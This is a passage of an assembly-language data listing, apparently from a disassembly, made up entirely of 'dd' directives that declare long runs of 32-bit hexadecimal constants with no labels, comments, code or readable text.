		dd 44C70A4Fh, 23FB05D4h, 0F7C000E3h, 55E5AE96h,	0D699EC00h
		dd 5DF44D8Dh, 0CD1B0AB3h, 101433C4h, 0C2F8B92h,	8441287Ch
		dd 42E9D022h, 44AC3D0Eh, 93228435h, 0AF8A22E6h,	79FB5931h
		dd 7013B2B9h, 472648E4h, 0CE29CDADh, 89EB8210h,	732841E2h
		dd 107112FEh, 9E88EF0Dh, 0D17288ACh, 50176589h,	1CF19A5Ah
		dd 530112FAh, 80B6384Bh, 0B3309341h, 0D0910042h, 69A7682Eh
		dd 980BC525h, 74C2B865h, 311D0304h, 0C3805357h,	0B671CC63h
		dd 0C8785Ch, 166855C7h,	719D56Ah, 5A7B1F99h, 8D3240BAh
		dd 42C9B48h, 5B0326A3h,	0B88C80D2h, 0FDC6D939h,	21C9160h
		dd 2729D168h, 0DC70E25Fh, 1ADA9900h, 6D055476h,	3EAD7F70h
		dd 6A007CEAh, 0E9295298h, 3305D43Bh, 8B35A905h,	0ADDD4C80h
		dd 6BD200CEh, 6147E53Ch, 80003D1Bh, 0FBABF7Eh, 901D79C5h
		dd 22AB06FCh, 28341977h, 0AE238409h, 3860E593h,	11F36318h
		dd 8D00B5F6h, 0AB37163Fh, 0F65DCC4Ch, 6D8100FEh, 0ECBF6BC1h
		dd 0F600974Ah, 17BBE935h, 18DA91B8h, 68F8D5CFh,	0EB1831F2h
		dd 10117506h, 7237B3Ch,	0D3D62FDFh, 98807F0Eh, 5A2411CEh
		dd 6C349100h, 68A9B855h, 2C860299h, 0CC193EADh,	0ACD9F843h
		dd 1C2C74D6h, 75A64100h, 0CDFD6C39h, 3FD80BCCh,	42383E9h
		dd 34A04E74h, 0CA00C4D1h, 580A03A6h, 0B6879F1Ch, 0B9F207A8h
		dd 5910B081h, 7A005CB8h, 0E3950557h, 12048512h,	23773Fh
		dd 64AB80DFh, 481DD347h, 7FCFD55h, 0F3260C37h, 0B8A405B3h
		dd 0D41F65h, 3B7ADFE3h,	9044CC81h, 98AFA23Eh, 711A439Ch
		dd 687B0748h, 90450CE1h, 273B19C3h, 0A08750CEh,	60314017h
		dd 530008Fh, 8369BE59h,	5C3966C6h, 397B80B1h, 0CEEC4280h
		dd 33C7CDFh, 1DDCB0A2h,	80C4B35Eh, 14092178h, 0ADE28B00h
		dd 0B2123B0Fh, 4ECC00EFh, 0A98A384h, 69071C2Eh,	0FD72D6D4h
		dd 61E0D1E7h, 2EC2A805h, 4901A85h, 0C0438283h, 3756FF30h
		dd 0C0FC7F2h, 0F6B50AD8h, 0F007F040h, 7750DC2h,	73DCC6CCh
		dd 0A52021BDh, 0B395EC02h, 98EAD500h, 93B07A3Ch, 6EB51DDEh
		dd 777D284h, 3F7653A4h,	33E070EEh, 491AC5F1h, 0BF8D0D01h
		dd 0FE3F23B9h, 0B337D0h, 6F54ABACh, 7F8A7001h, 0EC706496h
		dd 0A3BF3D6Dh, 0FA180900h, 0E6F072Eh, 69D84800h, 118C0C2Fh
		dd 7E96008Ah, 18F2B73Bh, 0EF00CB93h, 73DAFCFDh,	3D4CAC01h
		dd 8109DE25h, 20897E0Fh, 0C0D9CA0h, 0BF002AB6h,	7C2DF048h
		dd 30BBE51h, 0C6532CA3h, 0A802A7FAh, 7EA6D301h,	10B8F046h
		dd 0A1733D25h, 0F9ECA023h, 0CD3B008Fh, 0C365254Dh, 2A657E37h
		dd 0D1C1DED0h, 6420E6A9h, 9B7D0378h, 0A1E18BE5h, 4B6AAFE0h
		dd 20840602h, 40D204A0h, 43C71Fh, 0C06F292Fh, 5E48F5C4h
		dd 5C004D5Bh, 0A383908Fh, 0CED107D8h, 0E0E0CBF9h, 0BE2C8552h
		dd 685D1C00h, 626B9E03h, 5C18001Bh, 0C760E7FAh,	16000999h
		dd 0EA9A56Fh, 0D53880h,	5294FC67h, 5FC169DBh, 28405Ch
		dd 388C056Eh, 0E6BF8F16h, 2CB4040Ch, 0B8E8B1FDh, 7EF00044h
		dd 7013B963h, 733403ABh, 0C7C3D637h, 6BCCF9B8h,	6EBACE1Eh
		dd 0A0C239CFh, 4713A663h, 81335864h, 0D8A99F00h, 3B1A40BEh
		dd 0FC452900h, 6773B7C5h, 822401DCh, 5A205F9Ah,	0FA3DC8E7h
		dd 9809A25Ah, 0E0E800EAh, 4170B95h, 0A0DBC8Ah, 18A8A3h
		dd 0B9DF6753h, 0E28438E2h, 0D4A9242Bh, 0AE07009Ah, 308587F3h
		dd 109259h, 0B1390A6Fh,	90DE6Eh, 240F93BBh, 0D35B3DB2h
		dd 0A93F8100h, 0E9EFD53h, 6D2212E9h, 99E80CB6h,	8B002541h
		dd 9ED64151h, 0D8E1DDh,	1B484D11h, 0B2F4E752h, 87BBC639h
		dd 0A36BDFEh, 0A809F840h, 55EA304Dh, 15BA1790h,	878FB000h
		dd 0B116EE37h, 3B7EAAh,	1DDBF8FCh, 0EDD60224h, 40C26925h
		dd 0CBE464h, 0B9E1A14Bh, 59929C87h, 8F076C90h, 0D7D36746h
		dd 0D51509A3h, 0A4073CC0h, 0AD200016h, 0D6FC051Dh, 0ED7903A3h
		dd 89153003h, 0E8A42522h, 0ACA81Ah, 4E6C60AAh, 8A947FE5h
		dd 5F07D48h, 3C15A743h,	9505F8B6h, 0BE40F8h, 1B102C8h
		dd 9290E9A0h, 13277CA0h, 5CC65F26h, 34E68D00h, 3505C24h
		dd 0C6A69FFh, 0E5E91452h, 9682CC49h, 3A23ED00h,	0B05EF946h
		dd 0DC370C80h, 931169D0h, 6F2B1500h, 673851DEh,	94070082h
		dd 0F3052B6h, 6D148B65h, 8453E2h, 0E758AEF6h, 71216Bh
		dd 7DBA1340h, 3EBED131h, 78D42459h, 0EC9848h, 2C522C0h
		dd 51B1A3DFh, 0D9C9F0C3h, 164FF9E8h, 1AA931Bh, 19DB08FCh
		dd 3C5C602Fh, 0CDCC29C1h, 16108D81h, 0DD7EC1D9h, 85748095h
		dd 31D89A75h, 19985749h, 5404F41Fh, 4AF66E00h, 0DF4E27A2h
		dd 0C02C0041h, 2BACD8ABh, 39000532h, 0D4845778h, 17C53B70h
		dd 73AECEh, 0BE74B394h,	28CE89A4h, 2FA822C1h, 0E3DC6171h
		dd 1E42A60h, 91FC9498h,	80B942FAh, 55A58B28h, 0C158E5h
		dd 2CD897Dh, 0E95969B7h, 38965C3Dh, 0CA68A84Bh,	0DA7AD800h
		dd 86360BD7h, 0E72B12A3h, 0C1B05645h, 80CE1274h, 1020EBD8h
		dd 79F2C9B5h, 318987Bh,	8074E48Bh, 1EBD6BE6h, 762985EFh
		dd 5DA5803Ch, 0B1006515h, 7A9AA375h, 174A205h, 3D68410h
		dd 0E8060CC0h, 1700C2DEh, 70B79542h, 56EFACh, 0A215A0F4h
		dd 4A4C28A8h, 8875C700h, 0EC2DB4F8h, 0F6201C8Ch, 0DF1A8030h
		dd 31C554F5h, 32756D00h
		dd 8403AFF7h, 2866009Eh, 9C4F9A55h, 4300B6FDh, 58959940h
		dd 1623F5h, 390B9894h, 0AE3CA7A9h, 3A306C02h, 74878ED4h
		dd 0C54600A4h, 85358290h, 42EBE827h, 0D29400ACh, 487D6417h
		dd 0F40E9849h, 0A523D087h, 27F01834h, 6EE6651h,	0EA96DD01h
		dd 0D9C1CC0h, 7F4FCE4h,	0CE2BC28Ah, 0BD3B0332h,	25C148h
		dd 0F49124Eh, 48E5E4h, 78B589C7h, 25C7C28h, 791FAA00h
		dd 0C0D53974h, 0C57EF4h, 7C36AABh, 111D8F5Ch, 83B5583Bh
		dd 819DF1E8h, 22C00047h, 0D692E30Eh, 0BC1CFDBBh, 7DD35BB5h
		dd 0EE769401h, 6470FEF1h, 0F5FAB9h, 0A3F35AB6h,	0AE27470h
		dd 7E1D4F02h, 7297730Fh, 9950740h, 24BD0B87h, 1CED4Ch
		dd 0E15B7815h, 1811598Dh, 803A218Fh, 52007A53h,	0D394D270h
		dd 587951h, 0E19C4171h,	0BBFE5747h, 1F003272h, 0DB737B55h
		dd 3CD8037h, 3B33128Dh,	0B6C8D20Dh, 0DF02206Ah,	7883C823h
		dd 0DE00D9D4h, 0A6552E21h, 9EF46034h, 3877EECFh, 0D47C7300h
		dd 1D0C10DCh, 2E5B1384h, 5CC0833Fh, 0D8E0FB87h,	0E7006A82h
		dd 0A71BAFAh, 0BE56E7Ah, 0D926525Bh, 4A379003h,	1C97FAD0h
		dd 0B9F99224h, 80B78B0Bh, 0ED52E038h, 426A00B0h, 0ACD57793h
		dd 82B8D4C7h, 786BEE00h, 364ED75Ch, 0FC144832h,	0E3434804h
		dd 26218013h, 0B93EB03Dh, 6F630091h, 0F5CB1A88h, 3CF93090h
		dd 62DEFA8h, 0FCB77303h, 0B7A53528h, 7704A7E0h,	0C63200C0h
		dd 0CE39C65h, 3048D64h,	1DD2B490h, 8C404CA8h, 4041004Ch
		dd 1905EEC3h, 7B48EA92h, 47E30B88h, 0B8201035h,	150E779Dh
		dd 8C64DDCFh, 8B157F00h, 0B53D0F99h, 0C0011A71h, 71ECB819h
		dd 642CE460h, 0B71F8100h, 0B4F34EBh, 0E283005h,	0ECC00F4Ch
		dd 96B2BDE2h, 80941E08h, 5D01D320h, 13123E84h, 28427043h
		dd 40817A1Ah, 124859E7h, 0D2C6CBh, 0A3EF560h, 52FCC20h
		dd 40E407D0h, 79ABF410h, 4DAC075Eh, 9747EB6Ch, 6E75F0F0h
		dd 1C0F51F8h, 0E02CF3FEh, 9E24D30Ah, 0E82B4D8Ch, 3F6B13h
		dd 62415E84h, 3E007981h, 53EB4F59h, 3E1A20Eh, 52B97C9Fh
		dd 0A224D76Ah, 2E01A846h, 0DDFFD8DFh, 7A20403Fh, 0A770866Fh
		dd 3CE9600h, 72228B8Fh,	0F4B338D2h, 840028C0h, 0AD39EA04h
		dd 2C10FA1h, 644A792Eh,	0C0E8F996h, 0EE0004A4h,	811D58B5h
		dd 0E42AA2A7h, 0AF4B00DAh, 0D6FA010Ch, 0B1032829h, 88039D21h
		dd 0CD76A069h, 938D0008h, 0AF73BC34h, 0DCA01B8Ah, 0B71EF89Ch
		dd 7C809B5Ah, 0D2891469h, 68980Bh, 349D4CE3h, 0FE9B11E8h
		dd 79F0B65Ch, 4B2EA516h, 82BD9A03h, 760BC29Ch, 0B6550130h
		dd 204E6B24h, 0FF248B48h, 0FE8310BEh, 0E4D0C649h, 0A98FCA80h
		dd 868D6516h, 32EC4383h, 0DC88CBE8h, 0E8FF6F4Ah, 4858E2E4h
		dd 0F600796Ch, 0A9D7F8D3h, 1F376C4h, 7AD933D1h,	0EDA2035Ch
		dd 16F07035h, 1580748h,	85E564D4h, 0D4303C44h, 41064C21h
		dd 1050B401h, 0FCB5A19Fh, 26001458h, 0D9EABFCAh, 12595DCFh
		dd 50282C9h, 0C02DF148h, 436FB4F1h, 262B4512h, 0F74F0h
		dd 0C63BDDCh, 18558880h, 4064352Dh, 15CA4D18h, 0F862E6E2h
		dd 0A7957800h, 61FC56C7h, 2EA0484Ch, 381CC0C2h,	513E054Bh
		dd 86A10088h, 2D631E0h,	109BD917h, 76282C40h, 1933CBh
		dd 0BB57ED3Dh, 0B61BAE49h, 200085E4h, 0A62709A7h, 3CC7A8FEh
		dd 0B15C44DAh, 5B83E506h, 320BD1AAh, 0E00D2B38h, 0F03BDDB4h
		dd 0C63500FFh, 16AC826Dh, 370F710Eh, 1C9EABA4h,	934D76C0h
		dd 0E7F4D6h, 610F105Fh,	0C51A96CCh, 4990C707h, 39E0029Eh
		dd 0DAFA7h, 96DE30D3h, 8A8EA15Eh, 56111509h, 10480098h
		dd 7FA83Ch, 121327A3h, 52B8FE9Ah, 0BD832E04h, 208047ABh
		dd 74FA4Ah, 1928F235h, 1B808849h, 0B7CB809h, 341F8031h
		dd 0E8575A5h, 18A8F60Eh, 27946BA0h, 363D8D20h, 7EA380B1h
		dd 786F4443h, 0AF5D240Bh, 0B4F0049Ch, 819CA85Bh, 1B1DA538h
		dd 1185430h, 0F9F69DE6h, 0F780D626h, 0D2A9A49Bh, 6F0E6A55h
		dd 0DAAB29B7h, 1C030014h, 69542453h, 3702C2FCh,	9916A821h
		dd 4D07446h, 0A0AFB3ADh, 2A028154h, 0A35B1EB2h,	11004040h
		dd 0B7041C10h, 0C7FA802Dh, 0D7C661F3h, 80D0554Bh, 4F22E0DEh
		dd 41289223h, 4E627D00h, 0BECB0054h, 86336018h,	4D003FA2h
		dd 953A059Ah, 1902546h,	8A1A846Dh, 0FC211817h, 0C10022F5h
		dd 27C0BD0Dh, 0E8AAC8h,	7EBCFB3Dh, 13A76967h, 0E4F31A00h
		dd 0C1B7C216h, 44D9077Bh, 60CA8E71h, 1D109C4Ch,	0EB26730Eh
		dd 0B5380072h, 80187Dh,	0DBDEFE1h, 754507E6h, 128E641Dh
		dd 0BEC280FEh, 917BD2DCh, 0E17A00C7h, 0FF6D10F2h, 3D0005AAh
		dd 5FC496DBh, 9065EAE5h, 845B00A1h, 0EE9E4720h,	0BD241D02h
		dd 3C03941Bh, 0C0724228h, 5CB801FDh, 0FF3AD931h, 7B211603h
		dd 2887C8Fh, 44000D11h,	0EE944C8Eh, 82E459h, 0E337E10Eh
		dd 0E68DC607h, 40565403h, 1EA89FFh, 732E9E88h, 80EB5A51h
		dd 0CD88C710h, 7474FE15h, 1F47479h, 4D565053h, 7F5BCD8h
		dd 0B0F9DF63h, 357275Eh, 430364EBh, 0A6D0256Fh,	0B80FC889h
		dd 37E68DDh, 0FD4FD308h, 0A07F7180h, 8632011Ch,	0A77904EDh
		dd 1BCC4028h, 7800ECFEh, 2C8AC81h, 5D6CAABh, 4DDEDC27h
		dd 0C0AFC039h, 2D3A3023h, 0DF6D80EBh, 0BD06622Fh, 0F51E0307h
		dd 0C831D92h, 0F1284BF8h, 8EE1C833h, 0F002D9E3h, 54EEB760h
		dd 204D076h, 0B237F263h, 0E08F1E46h, 0C77D7120h, 9000C651h
		dd 8E5263DAh, 619769h, 0E4FFC933h, 0F4CABF3Bh, 0A8D93Dh
		dd 47BEF7CDh, 0B04665h,	4CBA5DFBh, 0A6D4B925h, 6A89CF00h
		dd 28FEE84Fh, 0E41C0020h, 0C79E9FA9h, 5600A876h, 25524641h
		dd 2435F395h, 1CCB3FD9h, 0F79B4094h, 7BB8A73Ch,	44734A00h
		dd 2A9EA9C5h, 63F0007Dh, 569B8564h, 3801B9A6h, 846C1D34h
		dd 1820A10Ah, 0D0F438ADh, 668DC380h, 7BD4CA7Fh,	0D5F77400h
		dd 0D19F971Eh, 0F66A0112h, 7AF86FE2h, 1D16D436h, 0ECF1C300h
		dd 4C9A7F72h, 51051C2Eh, 7B52008Dh, 0AF78D043h,	0D4A0A776h
		dd 0DE001184h, 0F3641F2Bh, 86F414h, 0E5C2BCCBh,	1671AE65h
		dd 1D0F5D76h, 0A0C6EFD0h, 0DD4A9CA7h, 1A0E0015h, 9BBB7243h
		dd 0A1003EF6h, 16EB3D0Ch, 24FCF562h, 2C56E6h, 6C4A7224h
		dd 80B880D2h, 7D66AB09h, 20EB80FFh, 6084EE64h, 0DCAA184Ch
		dd 5CEEE12Bh, 0DE063701h, 0C90BC36Bh, 6F54460h,	79A60EEEh
		dd 4F227817h, 7AC1009Ah, 270D4B37h, 57002268h, 0B0037581h
		dd 7D6C0120h, 61622EB4h, 2F7F01C6h, 3B8C650Ah, 0F0710FC0h
		dd 9A1E3B76h, 1849387h,	13146046h, 730E7911h, 600FCD1Bh
		dd 0B4EA2F98h, 8EAD01E7h, 0AC51E943h, 0AFFB707Fh, 6EED1A1Fh
		dd 5F01541Fh, 122EDC02h, 0B5CFE4h, 1D6B6E0h, 67666B74h
		dd 46F2BB01h, 0C588CEBAh, 7D98DF70h, 0BEEF830h,	640C11A4h
		dd 84A03280h, 8600EBA1h, 7FE390C3h, 2D0965h, 43E242B8h
		dd 25DB6133h, 8C732900h, 5FF6A4C2h, 7F8A01D5h, 98781DA6h
		dd 0BB80EF76h, 901B4499h, 1CFCA987h, 515D11h, 0BF397B49h
		dd 40FB082Ch, 0C0F2BDACh, 10E4E812h, 877E5400h,	0B036A2h
		dd 0EE391AA8h, 0BDDFD2Eh, 0AB7BC60Ch, 1810EFh, 1D1EFF6Bh
		dd 72FA4109h, 0F300CE73h, 0B863B753h, 0DCA7F55Bh, 0BA264061h
		dd 0D4ACFA2Ch, 0AE345913h, 87354800h, 0E6704B0h, 0E1C1DD5Eh
		dd 135CB800h, 5D0040BAh, 71A4FB27h, 98338289h, 0C5E7374h
		dd 0CA611CE7h, 0D4007910h
		dd 0C2D1F0A2h, 5809609Fh, 77C14C7h, 8040116Ch, 2A500062h
		dd 813018F3h, 0A57E4914h, 6D7C3Ch, 1693A4EBh, 264EE610h
		dd 0E0C02F79h, 30D582B7h, 4ABE1EB5h, 74267998h,	0EC6B00C4h
		dd 0BF827C6Ah, 0EBCC3200h, 3006AFD5h, 7B89006Eh, 9175C80Bh
		dd 25034A8Fh, 886C1335h, 0D4F6073Ah, 7136D712h,	0F03CA853h
		dd 0C863F37Bh, 0D0DA8ED8h, 1C7C83DBh, 0FFFC7Dh,	6D3A8B78h
		dd 2609B558h, 801BB71Fh, 0BFA88DBCh, 0A6D200F4h, 35A18A81h
		dd 4904AE5Bh, 1A22883Dh, 0AB70E093h, 8FC0F806h,	9A1100D3h
		dd 0E47935B1h, 7F0E6A26h, 0E02F4CB6h, 1BA3849Eh, 415100FDh
		dd 8B2C2387h, 0EF001666h, 358F39BFh, 0A126D090h, 546096DCh
		dd 0D74E3EE7h, 0AFDC2A03h, 0DEF37576h, 0C62FC0E4h, 1B0AF911h
		dd 0A8D4BE84h, 0B08F280Ah, 0EF4008h, 686BDD83h,	0F84E54B3h
		dd 84482EE8h, 0C9227200h, 5F0B9839h, 2F12FF01h,	0AB73414Bh
		dd 1CD478D8h, 0C025CDBAh, 6DFA503Bh, 0E2001560h, 1BCEC208h
		dd 0E6397092h, 0A6F700E8h, 4791B13Dh, 8A072413h, 6F6184B7h
		dd 0BE505DF1h, 93A7460h, 0DC5CE307h, 0CCC0BC8Eh, 89826A9Eh
		dd 9C01DFF2h, 0ACEC9FD3h, 1DC87FD0h, 2C1E243Eh,	5EF48688h
		dd 0A50F38C0h, 0A0024BC6h, 0C88FA3DFh, 0C3B901E4h, 7E5A144Eh
		dd 1D587469h, 0E2F08C00h, 1CB4C595h, 88E33025h,	8459DDF9h
		dd 5F8AC807h, 45F0FA52h, 76B23h, 0C4F2CBA0h, 3FB5EF1Eh
		dd 0ADD0A500h, 20A187B8h, 48950044h, 0C33E4B0Ah, 3124F80Dh
		dd 249EB4AEh, 1C35AB00h, 36A366h, 8D7FCC5Ch, 9575BF17h
		dd 8845E024h, 3B5BBB00h, 1504107h, 68921949h, 205230A3h
		dd 2B00E72Eh, 77609BEBh, 5DF0CAh, 42176C28h, 6234BB3h
		dd 2F3615Ch, 53755E2Eh,	0BD44C09Bh, 45F7DC3h, 84E7FD36h
		dd 183080B1h, 1D00AD45h, 872BBD64h, 370448h, 0CE8CB843h
		dd 6C1B52F2h, 0B3DD8901h, 0AE93D1F7h, 23D1DCCh,	1480A32h
		dd 88C1E452h, 21160DCh,	12898600h, 0F879CEB4h, 0A8CD2639h
		dd 5DA000C1h, 19FC673Eh, 0E49EF306h, 4202CCh, 0D95EBD73h
		dd 1BD08DA0h, 8393230Eh, 0E645A014h, 4EC5A4h, 0F66419E2h
		dd 0DBB9E87Bh, 8DEA4278h, 30D34F00h, 9B3F2544h,	0BED424B4h
		dd 98AA00C4h, 4D3A6A17h, 0CE3E8B01h, 9B2E3BFh, 8000828h
		dd 0F026B798h, 0D301F821h, 846BBCD9h, 0B0C81557h, 320F13F9h
		dd 4C2C4067h, 7599478Eh, 6DC0900h, 0E2C4BAFFh, 8690005Ch
		dd 712793D9h, 0D724C53Bh, 0D88020A6h, 0E96CFABh, 28370776h
		dd 0BAC6B4CAh, 3BC9010h, 953777B6h, 36C2A1BEh, 0EE00CA08h
		dd 1E8F27FEh, 4AA463h, 817EC530h, 27A6C8Dh, 0C0E53978h
		dd 5C002D35h, 0B147C66Fh, 60589681h, 7C29E919h,	0D0076C5Bh
		dd 86421D3Eh, 9C781710h, 0C2020075h, 0F73C4BBFh, 1B055BE0h
		dd 955469DEh, 960F2040h, 3986677h, 0CAEA17E6h, 88E02C44h
		dd 5A00E360h, 7FDA89B5h, 0CBBDDDh, 2B1AC4AAh, 415815BBh
		dd 0BA00A4B8h, 4B65FBFAh, 198B43Bh, 0A7E04032h,	0F4054106h
		dd 1D1CE6BDh, 34C09743h, 422A9A62h, 0EE320045h,	4AF1AE0Bh
		dd 723A66CCh, 7F5C80D9h, 1F375679h, 0BAB0E16h, 3A00D22Bh
		dd 3855823Fh, 6FB2AA04h, 0E080BC57h, 0BE6801h, 9F1F0A3Eh
		dd 42DA6113h, 0C335C600h, 3FF459Dh, 60C43C06h, 38821481h
		dd 0D3FABD4Ch, 0A012879Ch, 0BE6790D5h, 7DE4E100h, 69E83D15h
		dd 707F1D16h, 0E5CD4055h, 37B17EB8h, 560035E8h,	2218D9A8h
		dd 0F4090A2h, 34BF314Dh, 36E4D081h, 521F8D5h, 0AC9808C0h
		dd 8C1CB0h, 83D614BDh, 0C1EDCEE9h, 15A6931Ch, 9EE5FC1h
		dd 9AE8B953h, 11880722h, 5A94AD1Ch, 801D00D6h, 865C269Bh
		dd 0AA15BA00h, 8F58776Fh, 0F17C1C98h, 1945D14h,	5F9AC33Dh
		dd 0D789F0FAh, 0EE9B0100h, 67211ED9h, 0AC8E5FF0h, 5B800F36h
		dd 6DD4601Fh, 14928A41h, 849E95C5h, 2D861800h, 0E99D2247h
		dd 81819F0h, 14C8D28Fh,	6509036Dh, 0BB221E4h, 2F003177h
		dd 78EFF354h, 0EA97CAA9h, 928B30AFh, 7035BD20h,	7B03E900h
		dd 407C57D0h, 0F3E00054h, 23B20B9h, 747CA531h, 0DCACB31Fh
		dd 1B23F700h, 30A326F0h, 0EB08F693h, 6D006654h,	7F9BD022h
		dd 67FB98h, 0A1F961D5h,	26F1EBA5h, 0C46FE800h, 81E9EF5Dh
		dd 7618C01Bh, 4038AC47h, 41203F6Eh, 0F1E9EECDh,	0F098598Dh
		dd 41CE008h, 9F16270Fh,	0A2648777h, 1DD26BE0h, 0BC0716CCh
		dd 304806EAh, 170640EDh, 0EF91F126h, 89510049h,	0B47764E4h
		dd 7033FE87h, 908E5h, 0E4B0AF21h, 0C7C89682h, 68120F00h
		dd 0F7118447h, 71A50018h, 4F3A392Fh, 0A80A3EDAh, 88AB2385h
		dd 1300EF26h, 15A53653h, 0B7271DF0h, 0E9C2860h,	0D8932D6Eh
		dd 0FEC266C0h, 75005537h, 0B6F97ABBh, 599D0h, 94AB068Bh
		dd 351D1087h, 63DB5E00h, 0C4D5D755h, 0DC2707CCh, 3F0C7808h
		dd 0AF97B6E1h, 0EFD6CCA0h, 0CBD98A03h, 0C099C062h, 296873h
		dd 0D4609442h, 0A87FE507h, 0DC7B1800h, 2FCA2CB1h, 42C100F0h
		dd 6F3D92F2h, 0CCF6F8F5h, 0B534B303h, 0A898B73Ah, 3AFE86A5h
		dd 8B820A49h, 0DF02EC1Eh, 20E0DD63h, 4C037021h,	0D63AF94Dh
		dd 0AA92D10Dh, 78C743D0h, 0A5A301D8h, 0F7CDA711h, 70BBD178h
		dd 48001205h, 2D01A1E9h, 3FD737h, 0BF44931Ah, 0D5906716h
		dd 5870C03h, 0A06E0DB7h, 750FE4h, 0DD84A9EFh, 0FE1EA88Eh
		dd 0B401D8FCh, 0ADABF030h, 90CF931Bh, 37AA4Eh, 58FD9664h
		dd 0CE106D49h, 910B9900h, 0F3EC8413h, 125401B4h, 0E5567B65h
		dd 0A4E1CEC7h, 5E67DC92h, 48D78F00h, 21B7F991h,	0E2140036h
		dd 0B6FFBF9Dh, 0E100DC9Bh, 27FAA7C6h, 6519EF6Eh, 2A1BD0CCh
		dd 300EE04h, 5F7B3E8Eh,	47292581h, 7BC118CBh, 10802A7Eh
		dd 0DEA06520h, 5B004241h, 7358756Eh, 6AF62Fh, 3D607BD2h
		dd 783A8815h, 0E729A462h, 0CBC7226Fh, 0C221DC24h, 10D31296h
		dd 4888C49Bh, 0CEDC893Fh, 246D1F22h, 11A422CFh,	0A0EB0833h
		dd 89CE1750h, 0AD144050h, 0F781DD4Bh, 0C9AF3C41h, 50838C12h
		dd 29284A56h, 802228E3h, 14F850C2h, 0AF5F44B5h,	0E4EC51C0h
		dd 3B1723D0h, 9580E98Dh, 0E3B1ADD4h, 0F1006080h, 0FB394A24h
		dd 59999Ah, 5141CFFEh, 6B8877F5h, 807DA83Bh, 9C43E522h
		dd 843267h, 6DFE07BEh, 5FBA802Ah, 2DDF3407h, 0A607F914h
		dd 4E978550h, 398C0066h, 73FC7E3Bh, 6D5CA04Bh, 21010023h
		dd 8B1A5ED3h, 3F6B072Bh, 0F0FD470Bh, 7A970EDCh,	0CC621B00h
		dd 0B40D430Ah, 132E4CAh, 499CF683h, 0BE0E3AD8h,	0AEF80020h
		dd 0FAA1E5C6h, 58041F8Bh, 2C98097h, 45D4F0E9h, 5A850B00h
		dd 6DFBC4B2h, 0E217063Bh, 10CF938Dh, 749F7707h,	0D8F11AF4h
		dd 44F8AB01h, 72D3002Eh, 2A49557Ch, 6A008F2Fh, 710AC798h
		dd 16E8D6Ch, 2DE85ABCh,	24E5ED41h, 0E1002050h, 5E778F3Dh
		dd 1FFFE6A0h, 0C06D6934h, 89CF2301h, 0ED30933Bh, 0AF161A1Eh
		dd 0BDC301E3h, 719082CEh, 9CEA6002h, 1FB1158h, 839A4E81h
		dd 3F1B55Ch, 872E9187h,	0BDA4045h, 6E00F1C6h, 1B6DFC6Ah
		dd 2E9BDE1h, 0DB04F386h, 9C481D9Ch, 5D1F087Ch, 65C07334h
		dd 0C44131FDh, 42CD00D6h, 0D28A8F17h, 0B0E82BBCh, 7C339C00h
		dd 0F76194AEh, 0BE50013h, 0D2D12AEBh, 0F300F403h, 0A522F185h
		dd 307092h, 1AE08D79h, 0B84E56FDh, 6DA17601h, 658BE3B0h
		dd 0F453DCh, 0B5B7C471h, 96E819B4h, 81A3643Fh, 7DEFDC5h
		dd 142032B3h, 0E25200A8h
		dd 72EB8AFEh, 0BA00DB86h, 0FFD49119h, 70C639h, 7A9B42C4h
		dd 0EAA04C8Fh, 6B178500h, 0B5A3AC61h, 0CF6E001Dh, 6A23A6CDh
		dd 8514B6ABh, 1ECCD172h, 5F8336BDh, 0C8A9CF86h,	0EEC74Dh
		dd 2EA00F11h, 8164D42Ah, 0FA49FF07h, 65B1ED19h,	4BCC2BE9h
		dd 29DF0032h, 731F6F90h, 6B002F37h, 7D4FE034h, 3B5BFDCCh
		dd 5EBE09A1h, 18C46487h, 42D6D0B5h, 81F826EAh, 0E0B82300h
		dd 9E4E96B2h, 3F80013Bh, 0DA68F655h, 1F21D89Ch,	0FBC15D01h
		dd 1587ABB8h, 8962E840h, 35E5000Dh, 0AAF439A7h,	270968EAh
		dd 0A54C66h, 0C1B07708h, 3E740215h, 32F74133h, 5A2F9C68h
		dd 0C003490h, 0EF81F23Ch, 9037B243h, 265800C0h,	63A39C98h
		dd 48007F1Eh, 0B2BD07B7h, 0E3D0175h, 9A930503h,	216FD1E1h
		dd 3BB420AFh, 2149E130h, 0F3569799h, 4EF23F4h, 7C6740Ah
		dd 77648089h, 7B48794Ch, 3B5882h, 62D0DA3Dh, 0E491AC16h
		dd 9EED0011h, 56842EF4h, 3104BDBBh, 165E6937h, 0B051F0C0h
		dd 4390005Ch, 0E855056Ah, 0DC3D58A3h, 9E13807Eh, 681524AAh
		dd 35741FF6h, 0CDF240D2h, 553C2307h, 78473D00h,	0C04F79DBh
		dd 89DF1C18h, 54269Bh, 5E1EF4C6h, 0AF809CAh, 86DB2100h
		dd 0D5B410F2h, 2858285Bh, 7D89FE6h, 93C0BE00h, 3C068D77h
		dd 0B63E010Dh, 0F125F8Fh, 0D14020A3h, 0C2F0360Eh, 284180CFh
		dd 7C277E24h, 0CA5C0029h, 48AAD6B0h, 0B207F28Ch, 86518FBDh
		dd 64C3E294h, 13F0D70Ah, 0FCE7843Dh, 27710CFEh,	6C7E8160h
		dd 0F285CC0Eh, 0E1E34E68h, 6058A7Bh, 71728064h,	12B4710Ah
		dd 5B7DEEh, 160301A0h, 0F8281CC8h, 4C03D8B6h, 5D38D282h
		dd 0B736DF4Bh, 5410019h, 6F6B4604h, 0E8A008BFh,	1B016A28h
		dd 0F6AD2247h, 2030C983h, 1A1C200Dh, 0AB29BE00h, 0D5D8DE06h
		dd 40305063h, 252D4091h, 71838830h, 0CD811Fh, 0B608241Eh
		dd 0F6ECF216h, 2636AF13h, 2E46B800h, 4140B3h, 51DB011Bh
		dd 17BDE427h, 60F9F624h, 34C54580h, 3699E7Ah, 0A1E9516h
		dd 0D4F3FA66h, 0BB92001h, 83108C01h, 98A034h, 0B72E94A7h
		dd 5C112F49h, 386F3A04h, 0D4805333h, 0DA1779h, 32AD1EE0h
		dd 1D89A124h, 330DD00h,	0FEC040F7h, 0F642070Ah,	0C3569FA0h
		dd 0E6E8D19Ah, 0DC0019EDh, 0A212576Fh, 737995C0h, 617685h
		dd 0ADD7D384h, 0F953BCDAh, 800FFD39h, 71DFD68Ch, 8F28EAh
		dd 0F325BFFAh, 0DCA72E83h, 8C6D1000h, 599FDE41h, 0EB3F1860h
		dd 3B7F8898h, 0A780C00h, 718F2DB5h, 45E40087h, 0CA541F5Fh
		dd 6B12F225h, 0E4003C4Dh, 0C63EF10Eh, 0BC9002Fh, 0F086E70Dh
		dd 0B81EF94Ch, 0D493EABFh, 0E0E3240Eh, 2C847E5Eh, 7226006Ch
